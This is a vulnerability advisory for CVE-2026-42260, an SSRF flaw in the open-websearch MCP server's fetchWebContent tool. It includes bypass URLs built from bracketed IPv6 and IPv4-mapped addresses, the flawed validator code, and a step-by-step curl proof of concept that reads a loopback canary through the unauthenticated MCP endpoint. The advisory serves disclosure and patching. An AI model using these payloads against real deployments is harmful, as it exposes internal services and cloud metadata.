open-websearch
Affected
- introduced
0, fixed2.1.7(semver)
Fixed versions
2.1.7
Fix
- Fixed version
2.1.7npm install [email protected]
Advisory
Also known as: CVE-2026-42260
open-websearch has SSRF in fetchWebContent MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass isPrivateOrLocalHostname
Summarysrc/utils/urlSafety.ts exposes isPublicHttpUrl / assertPublicHttpUrl, used to gate the MCP fetchWebContent tool against private-network targets. The check has two defects that together allow non-blind SSRF with the response body returned to the caller:
URL.hostname keeps the surrounding […] for IPv6 literals. isIP("[::1]") returns 0 (not 6), so neither isPrivateIpv4 nor isPrivateIpv6 is ever called on an IPv6 literal input — including [::1] itself, and including every IPv4-mapped form such as [::ffff:7f00:1] (= 127.0.0.1 via the IPv4 stack).isPrivateOrLocalHostname only inspects the literal hostname string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and axios then performs its own resolution and connects to the private address.The isPrivateIpv6 implementation also has the hex bypass (it would miss ::ffff:7f00:1 even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.
The fetchWebContent tool returns the response body (JSON.stringify(result)) to the MCP caller, so the SSRF is non-blind.
Details
<!-- obsidian --><p><strong>Vulnerable function</strong> — <code>src/utils/urlSafety.ts:95-119</code>:</p>
<pre><code class="language-ts">export function isPrivateOrLocalHostname(hostname: string): boolean {
const host = hostname.trim().toLowerCase();
if (!host) return true;
if (host === 'localhost' || host.endsWith('.localhost')) return true;
if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;
const integerIp = parseIntegerIpv4Literal(host);
if (integerIp && isPrivateIpv4(integerIp)) return true;
if (isPrivateOrLocalIp(host)) return true; // only runs if isIP(host) ∈ {4, 6}
return false;
}
</code></pre>
<p><code>isPrivateOrLocalIp</code> — <code>src/utils/urlSafety.ts:84-93</code>:</p>
<pre><code class="language-ts">function isPrivateOrLocalIp(ip: string): boolean {
const version = isIP(ip); // returns 0 for "[::1]", "[::ffff:7f00:1]", any bracketed literal
if (version === 4) return isPrivateIpv4(ip);
if (version === 6) return isPrivateIpv6(ip);
return false;
}
</code></pre>
<p>Caller — <code>src/tools/setupTools.ts:252-286</code> (<code>fetchWebContent</code> tool):</p>
<pre><code class="language-ts">server.tool(
fetchWebToolName, // default: "fetchWebContent"
"Fetch content from a public HTTP(S) URL ...",
{ url: z.string().url().refine(
(url) => validatePublicWebUrl(url), // → isPublicHttpUrl → isPrivateOrLocalHostname
"URL must be a public HTTP(S) address ..."
), /* … */ },
async ({url, maxChars}) => {
const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*…*/ });
return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };
}
);
</code></pre>
<p>Service — <code>src/engines/web/fetchWebContent.ts:313-375</code>: re-validates via <code>assertPublicHttpUrl</code> (same broken check), then calls <code>axios.head</code> + <code>axios.get</code> on the raw URL and returns <code>response.data</code> and <code>response.headers</code> to the caller.</p>
<p>Transport — <code>src/index.ts:85-253</code>: when <code>config.enableHttpServer</code> is true (documented configuration; enabled by the Docker image), the MCP server binds on <code>0.0.0.0:${PORT}</code> (default <code>3000</code>) with CORS <code>origin: '*'</code> and <strong>no authentication</strong> on <code>/mcp</code> (Streamable HTTP) or <code>/sse</code> (legacy SSE). Anyone who can reach the port can invoke any tool.</p>
<h3 data-heading="Verification of the validator (run against current `HEAD`)">Verification of the validator (run against current <code>HEAD</code>)</h3>
<p>I executed the real <code>isPublicHttpUrl</code> / <code>assertPublicHttpUrl</code> from <code>src/utils/urlSafety.ts</code> under <code>tsx</code> against a set of inputs:</p>
Input URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl
-- | -- | -- | --
http://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass
http://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true ← bypass | PASSED ← bypass
http://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true ← bypass | PASSED ← bypass
http://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass
http://[0:0:0:0:0:0:0:1]/ | [::1] | true ← bypass | PASSED ← bypass
http://[::1]/ (plain loopback!) | [::1] | true ← bypass | PASSED ← bypass
http://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked)
http://localhost/ (control) | localhost | false (blocked) | threw (blocked)
<p>WHATWG <code>new URL("http://[::ffff:127.0.0.1]/").hostname</code> returns <code>[::ffff:7f00:1]</code> — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.</p>
<h3 data-heading="Verification of the fetch (Node 22/25)">Verification of the fetch (Node 22/25)</h3>
<p>I bound a trivial HTTP server to <code>127.0.0.1:29999</code> and called <code>axios.get("http://[::ffff:7f00:1]:29999/")</code> from Node; the request reached the server:</p>
<pre><code> HIT: / from 127.0.0.1 family IPv4
http://[::ffff:7f00:1]:29999/ -> 200 <html>internal content</html>
</code></pre>
<p>The OS routes <code>::ffff:X.X.X.X</code> connections through the IPv4 stack, so the PoC works identically across macOS and Linux.</p>
Environment: clean clone of Aas-ee/open-webSearch@HEAD, Node 22+.
1. Start the MCP HTTP server.
git clone https://github.com/Aas-ee/open-webSearch.git
cd open-webSearch
npm install && npm run build
MODE=http PORT=3000 node build/index.js &
2. Stand up a canary on loopback.
node -e '
require("http").createServer((q,r)=>{
console.log("[canary]", q.method, q.url, "from", q.socket.remoteAddress);
r.writeHead(200, {"content-type":"text/html"});
r.end("INTERNAL-SECRET: canary-hit for " + q.url);
}).listen(19999, "127.0.0.1", () => console.log("canary on 127.0.0.1:19999"));
' &
3. Open an MCP session and call `fetchWebContent` with the bypass URL.
# Accept header must include both JSON and SSE for Streamable HTTP transport.
ACCEPT='application/json, text/event-stream'
# initialize → grab the mcp-session-id header
SID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}' \
| awk 'tolower($1)=="mcp-session-id:" { gsub(/\r/,""); print $2 }')
# notifications/initialized
curl -sS -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
-d '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' >/dev/null
# call fetchWebContent with the SSRF bypass URL
curl -sS -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
"name":"fetchWebContent",
"arguments":{"url":"http://[::ffff:7f00:1]:19999/internal","maxChars":10000}
}}'High Basis: The source's own band: HIGH
0, fixed 2.1.7 (semver)2.1.7
2.1.7npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0